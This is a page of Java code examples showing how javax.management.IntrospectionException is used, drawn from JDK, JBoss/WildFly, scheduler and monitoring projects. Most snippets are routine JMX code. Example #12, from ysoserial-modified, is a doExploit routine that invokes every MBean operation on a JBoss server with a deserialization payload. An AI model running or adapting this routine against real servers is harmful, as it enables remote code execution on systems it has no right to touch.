javax.management.IntrospectionException Java Examples

The following examples show how to use javax.management.IntrospectionException. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CARBON15928JMXDisablingTest.java    From micro-integrator with Apache License 2.0 6 votes vote down vote up
private MBeanInfo testMBeanForDatasource() throws Exception {
    Map<String, String[]> env = new HashMap<>();
    String[] credentials = { "admin", "admin" };
    env.put(JMXConnector.CREDENTIALS, credentials);
    try {
        String url = "service:jmx:rmi://localhost:12311/jndi/rmi://localhost:11199/jmxrmi";
        JMXServiceURL jmxUrl = new JMXServiceURL(url);
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
        MBeanServerConnection mBeanServer = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanObject = new ObjectName(dataSourceName + ",-1234:type=DataSource");
        MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(mbeanObject);
        return mBeanInfo;
    } catch (MalformedURLException | MalformedObjectNameException | IntrospectionException | ReflectionException e) {
        throw new AxisFault("Error while connecting to MBean Server " + e.getMessage(), e);
    }
}
 
Example #2
Source File: RMIConnector.java    From JDKSourceCode1.8 with MIT License 6 votes vote down vote up
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
 
Example #3
Source File: ROConnection.java    From scheduling with GNU Affero General Public License v3.0 6 votes vote down vote up
/**
 * @see javax.management.MBeanServerConnection#getMBeanInfo(javax.management.ObjectName)
 */
public MBeanInfo getMBeanInfo(final ObjectName name)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
    if (this.subject == null) {
        return this.mbs.getMBeanInfo(name);
    }
    try {
        return (MBeanInfo) Subject.doAsPrivileged(this.subject, new PrivilegedExceptionAction<MBeanInfo>() {
            public final MBeanInfo run() throws Exception {
                return mbs.getMBeanInfo(name);
            }
        }, this.context);
    } catch (final PrivilegedActionException pe) {
        final Exception e = JMXProviderUtils.extractException(pe);
        if (e instanceof InstanceNotFoundException)
            throw (InstanceNotFoundException) e;
        if (e instanceof IntrospectionException)
            throw (IntrospectionException) e;
        if (e instanceof ReflectionException)
            throw (ReflectionException) e;
        if (e instanceof IOException)
            throw (IOException) e;
        throw JMXProviderUtils.newIOException("Got unexpected server exception: " + e, e);
    }
}
 
Example #4
Source File: RMIConnector.java    From openjdk-jdk9 with GNU General Public License v2.0 6 votes vote down vote up
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
 
Example #5
Source File: RMIConnector.java    From jdk1.8-source-analysis with Apache License 2.0 6 votes vote down vote up
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
 
Example #6
Source File: RMIConnector.java    From TencentKona-8 with GNU General Public License v2.0 6 votes vote down vote up
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
 
Example #7
Source File: RMRest.java    From scheduling with GNU Affero General Public License v3.0 6 votes vote down vote up
@Override
public String getStatHistory(String sessionId, String range1, String function)
        throws ReflectionException, InterruptedException, IntrospectionException, NotConnectedException,
        InstanceNotFoundException, MalformedObjectNameException, IOException {

    String newRange = MBeanInfoViewer.possibleModifyRange(range1, dataSources, 'a');

    StatHistoryCacheEntry entry = StatHistoryCaching.getInstance().getEntryOrCompute(newRange, () -> {
        RMProxyUserInterface rm = checkAccess(sessionId);

        AttributeList attrs = rm.getMBeanAttributes(new ObjectName(RMJMXBeans.RUNTIMEDATA_MBEAN_NAME),
                                                    new String[] { "StatisticHistory" });

        Attribute attr = (Attribute) attrs.get(0);

        // content of the RRD4J database backing file
        byte[] rrd4j = (byte[]) attr.getValue();

        return MBeanInfoViewer.rrdContent(rrd4j, newRange, dataSources, function);
    });

    return entry.getValue();
}
 
Example #8
Source File: CARBON15928JMXDisablingTest.java    From product-ei with Apache License 2.0 6 votes vote down vote up
private MBeanInfo testMBeanForDatasource() throws Exception {
    Map<String, String[]> env = new HashMap<>();
    String[] credentials = { "admin", "admin" };
    env.put(JMXConnector.CREDENTIALS, credentials);
    try {
        String url = "service:jmx:rmi://localhost:12311/jndi/rmi://localhost:11199/jmxrmi";
        JMXServiceURL jmxUrl = new JMXServiceURL(url);
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
        MBeanServerConnection mBeanServer = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanObject = new ObjectName(dataSourceName + ",-1234:type=DataSource");
        MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(mbeanObject);
        return mBeanInfo;
    } catch (MalformedURLException | MalformedObjectNameException | IntrospectionException |
            ReflectionException e) {
        throw new AxisFault("Error while connecting to MBean Server " + e.getMessage(), e);
    }
}
 
Example #9
Source File: RMListenerProxy.java    From scheduling with GNU Affero General Public License v3.0 6 votes vote down vote up
public Object getNodeMBeansHistory(String nodeJmxUrl, String objectNames, List<String> attrs, String range)
        throws IOException, MalformedObjectNameException, IntrospectionException, InstanceNotFoundException,
        ReflectionException, MBeanException {

    initNodeConnector(nodeJmxUrl);

    Set<ObjectName> beans = nodeConnector.getMBeanServerConnection().queryNames(new ObjectName(objectNames), null);

    HashMap<String, Object> results = new HashMap<>();
    for (ObjectName bean : beans) {
        results.put(bean.getCanonicalName(),
                    getNodeMBeanHistory(nodeJmxUrl, bean.getCanonicalName(), attrs, range));
    }

    return results;
}
 
Example #10
Source File: StandardMBeanIntrospector.java    From hottub with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #11
Source File: MBeanServerAccessController.java    From jdk8u-dev-jdk with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #12
Source File: JBoss.java    From ysoserial-modified with MIT License 5 votes vote down vote up
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
Example #13
Source File: StandardMBeanIntrospector.java    From dragonwell8_jdk with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #14
Source File: Client.java    From vjtools with Apache License 2.0 5 votes vote down vote up
protected static String listOptions(MBeanServerConnection mbsc, ObjectInstance instance)
		throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
	StringBuffer result = new StringBuffer();
	MBeanInfo info = mbsc.getMBeanInfo(instance.getObjectName());
	MBeanAttributeInfo[] attributes = info.getAttributes();
	if (attributes.length > 0) {
		result.append("Attributes:");
		result.append("\n");
		for (int i = 0; i < attributes.length; i++) {
			result.append(' ' + attributes[i].getName() + ": " + attributes[i].getDescription() + " (type="
					+ attributes[i].getType() + ")");
			result.append("\n");
		}
	}
	MBeanOperationInfo[] operations = info.getOperations();
	if (operations.length > 0) {
		result.append("Operations:");
		result.append("\n");
		for (int i = 0; i < operations.length; i++) {
			MBeanParameterInfo[] params = operations[i].getSignature();
			StringBuffer paramsStrBuffer = new StringBuffer();
			if (params != null) {
				for (int j = 0; j < params.length; j++) {
					paramsStrBuffer.append("\n   name=");
					paramsStrBuffer.append(params[j].getName());
					paramsStrBuffer.append(" type=");
					paramsStrBuffer.append(params[j].getType());
					paramsStrBuffer.append(" ");
					paramsStrBuffer.append(params[j].getDescription());
				}
			}

			result.append(' ' + operations[i].getName() + ": " + operations[i].getDescription() + "\n  Parameters "
					+ params != null ? params.length
							: 0 + ", return type=" + operations[i].getReturnType() + paramsStrBuffer.toString());
			result.append("\n");
		}
	}
	return result.toString();
}
 
Example #15
Source File: MBeanServerAccessController.java    From dragonwell8_jdk with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #16
Source File: StandardMBeanIntrospector.java    From openjdk-jdk9 with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #17
Source File: StandardMBeanIntrospector.java    From jdk8u-dev-jdk with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #18
Source File: RMRest.java    From scheduling with GNU Affero General Public License v3.0 5 votes vote down vote up
@Override
public Object getNodeMBeansInfo(String sessionId, String nodeJmxUrl, String objectNames, List<String> attrs)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException,
        NotConnectedException, MalformedObjectNameException, NullPointerException, PermissionRestException {

    // checking that still connected to the RM
    RMProxyUserInterface rmProxy = checkAccess(sessionId);
    return orThrowRpe(rmProxy.getNodeMBeansInfo(nodeJmxUrl, objectNames, attrs));
}
 
Example #19
Source File: StandardMBeanIntrospector.java    From TencentKona-8 with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #20
Source File: AuthorizingMBeanServer.java    From wildfly-core with GNU Lesser General Public License v2.1 5 votes vote down vote up
@Override
public MBeanInfo getMBeanInfo(ObjectName name)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException {
    Boolean originalValue = AUTHORIZING.get();
    try {
        AUTHORIZING.set(Boolean.TRUE);
        return delegate.getMBeanInfo(name);
    } finally {
        AUTHORIZING.set(originalValue);
    }
}
 
Example #21
Source File: MBeanServerAccessController.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #22
Source File: MBeanServerAccessController.java    From jdk8u60 with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #23
Source File: MBeanServerAccessController.java    From jdk8u-jdk with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #24
Source File: StandardMBeanIntrospector.java    From openjdk-8-source with GNU General Public License v2.0 5 votes vote down vote up
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
 
Example #25
Source File: MBeanServerAccessController.java    From openjdk-jdk8u with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #26
Source File: MBeanServerAccessController.java    From TencentKona-8 with GNU General Public License v2.0 5 votes vote down vote up
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
 
Example #27
Source File: JMXTest.java    From gemfirexd-oss with Apache License 2.0 4 votes vote down vote up
/**
 * Test that all MBeans registered by Derby have:
 * <UL>
 * <LI> A type key property correct set.
 * <LI> Expose a class name in com.pivotal.gemfirexd.internal.mbeans.
 * </UL>
 * @throws Exception
 */
public void testDerbyRegisteredMBeansSimpleInfo() throws Exception
{        
    Set<ObjectName> derbyMBeans = getDerbyDomainMBeans();
    
    // We expect Derby to have registered MBeans
    // including a management MBean and the one registered
    // by our setUp method.
    assertTrue("Derby MBEan count:" + derbyMBeans.size(),
            derbyMBeans.size() >= 2);
    
    final MBeanServerConnection jmx = getMBeanServerConnection();
    for (final ObjectName name : derbyMBeans)
    {
        String type = name.getKeyProperty("type");
        // Every Derby MBean has a type.
        assertNotNull(type);
        
        MBeanInfo mbeanInfo = AccessController.doPrivileged(
                new PrivilegedExceptionAction<MBeanInfo>() {
                    public MBeanInfo run() throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
                        return jmx.getMBeanInfo(name);
                   }   
                }
            );
        
        String mbeanClassName = mbeanInfo.getClassName();
        // Is the class name in the public api
        assertTrue(mbeanClassName.startsWith("com.pivotal.gemfirexd.internal.mbeans."));
        
        // See if it was the application created ManagementMBean
        // This will have the implementation class registered
        // as the class name since it is not registered by Derby.
        if ("Management".equals(type)
                && "com.pivotal.gemfirexd.internal.mbeans.Management".equals(mbeanClassName))
        {
            continue;
        }
                
        // and is a Derby specific MBean.
        assertTrue(mbeanClassName.endsWith("MBean"));
        
        // Check the type is the class name of the MBean without
        // the MBean and the package.
        String scn = mbeanClassName.substring(mbeanClassName.lastIndexOf('.') + 1);         
        scn = scn.substring(0, scn.length() - "MBean".length());
        assertEquals(scn, type);
    }
}
 
Example #28
Source File: XSheet.java    From openjdk-8 with GNU General Public License v2.0 4 votes vote down vote up
private void displayMBeanNode(final DefaultMutableTreeNode node) {
    final XNodeInfo uo = (XNodeInfo) node.getUserObject();
    if (!uo.getType().equals(Type.MBEAN)) {
        return;
    }
    mbean = (XMBean) uo.getData();
    SwingWorker<MBeanInfo, Void> sw = new SwingWorker<MBeanInfo, Void>() {
        @Override
        public MBeanInfo doInBackground() throws InstanceNotFoundException,
                IntrospectionException, ReflectionException, IOException {
            return mbean.getMBeanInfo();
        }
        @Override
        protected void done() {
            try {
                MBeanInfo mbi = get();
                if (mbi != null) {
                    if (!isSelectedNode(node, currentNode)) {
                        return;
                    }
                    mbeanInfo.addMBeanInfo(mbean, mbi);
                    invalidate();
                    mainPanel.removeAll();
                    mainPanel.add(mbeanInfo, BorderLayout.CENTER);
                    southPanel.setVisible(false);
                    southPanel.removeAll();
                    validate();
                    repaint();
                }
            } catch (Exception e) {
                Throwable t = Utils.getActualException(e);
                if (JConsole.isDebug()) {
                    System.err.println("Couldn't get MBeanInfo for MBean [" +
                            mbean.getObjectName() + "]");
                    t.printStackTrace();
                }
                showErrorDialog(t.toString(),
                        Messages.PROBLEM_DISPLAYING_MBEAN);
            }
        }
    };
    sw.execute();
}
 
Example #29
Source File: XSheet.java    From jdk8u-jdk with GNU General Public License v2.0 4 votes vote down vote up
private void displayMBeanOperationsNode(final DefaultMutableTreeNode node) {
    final XNodeInfo uo = (XNodeInfo) node.getUserObject();
    if (!uo.getType().equals(Type.OPERATIONS)) {
        return;
    }
    mbean = (XMBean) uo.getData();
    SwingWorker<MBeanInfo, Void> sw = new SwingWorker<MBeanInfo, Void>() {
        @Override
        public MBeanInfo doInBackground() throws InstanceNotFoundException,
                IntrospectionException, ReflectionException, IOException {
            return mbean.getMBeanInfo();
        }
        @Override
        protected void done() {
            try {
                MBeanInfo mbi = get();
                if (mbi != null) {
                    if (!isSelectedNode(node, currentNode)) {
                        return;
                    }
                    mbeanOperations.loadOperations(mbean, mbi);
                    invalidate();
                    mainPanel.removeAll();
                    JPanel borderPanel = new JPanel(new BorderLayout());
                    borderPanel.setBorder(BorderFactory.createTitledBorder(
                            Messages.OPERATION_INVOCATION));
                    borderPanel.add(new JScrollPane(mbeanOperations));
                    mainPanel.add(borderPanel, BorderLayout.CENTER);
                    southPanel.setVisible(false);
                    southPanel.removeAll();
                    validate();
                    repaint();
                }
            } catch (Exception e) {
                Throwable t = Utils.getActualException(e);
                if (JConsole.isDebug()) {
                    System.err.println("Problem displaying MBean " +
                            "operations for MBean [" +
                            mbean.getObjectName() + "]");
                    t.printStackTrace();
                }
                showErrorDialog(t.toString(),
                        Messages.PROBLEM_DISPLAYING_MBEAN);
            }
        }
    };
    sw.execute();
}
 
Example #30
Source File: Monitor.java    From openjdk-jdk9 with GNU General Public License v2.0 4 votes vote down vote up
Object getAttribute(MBeanServerConnection mbsc,
                    ObjectName object,
                    String attribute)
    throws AttributeNotFoundException,
           InstanceNotFoundException,
           MBeanException,
           ReflectionException,
           IOException {
    // Check for "ObservedAttribute" replacement.
    // This could happen if a thread A called setObservedAttribute()
    // while other thread B was in the middle of the monitor() method
    // and received the old observed attribute value.
    //
    final boolean lookupMBeanInfo;
    synchronized (this) {
        if (!isActive())
            throw new IllegalArgumentException(
                "The monitor has been stopped");
        if (!attribute.equals(getObservedAttribute()))
            throw new IllegalArgumentException(
                "The observed attribute has been changed");
        lookupMBeanInfo =
            (firstAttribute == null && attribute.indexOf('.') != -1);
    }

    // Look up MBeanInfo if needed
    //
    final MBeanInfo mbi;
    if (lookupMBeanInfo) {
        try {
            mbi = mbsc.getMBeanInfo(object);
        } catch (IntrospectionException e) {
            throw new IllegalArgumentException(e);
        }
    } else {
        mbi = null;
    }

    // Check for complex type attribute
    //
    final String fa;
    synchronized (this) {
        if (!isActive())
            throw new IllegalArgumentException(
                "The monitor has been stopped");
        if (!attribute.equals(getObservedAttribute()))
            throw new IllegalArgumentException(
                "The observed attribute has been changed");
        if (firstAttribute == null) {
            if (attribute.indexOf('.') != -1) {
                MBeanAttributeInfo mbaiArray[] = mbi.getAttributes();
                for (MBeanAttributeInfo mbai : mbaiArray) {
                    if (attribute.equals(mbai.getName())) {
                        firstAttribute = attribute;
                        break;
                    }
                }
                if (firstAttribute == null) {
                    String tokens[] = attribute.split("\\.", -1);
                    firstAttribute = tokens[0];
                    for (int i = 1; i < tokens.length; i++)
                        remainingAttributes.add(tokens[i]);
                    isComplexTypeAttribute = true;
                }
            } else {
                firstAttribute = attribute;
            }
        }
        fa = firstAttribute;
    }
    return mbsc.getAttribute(object, fa);
}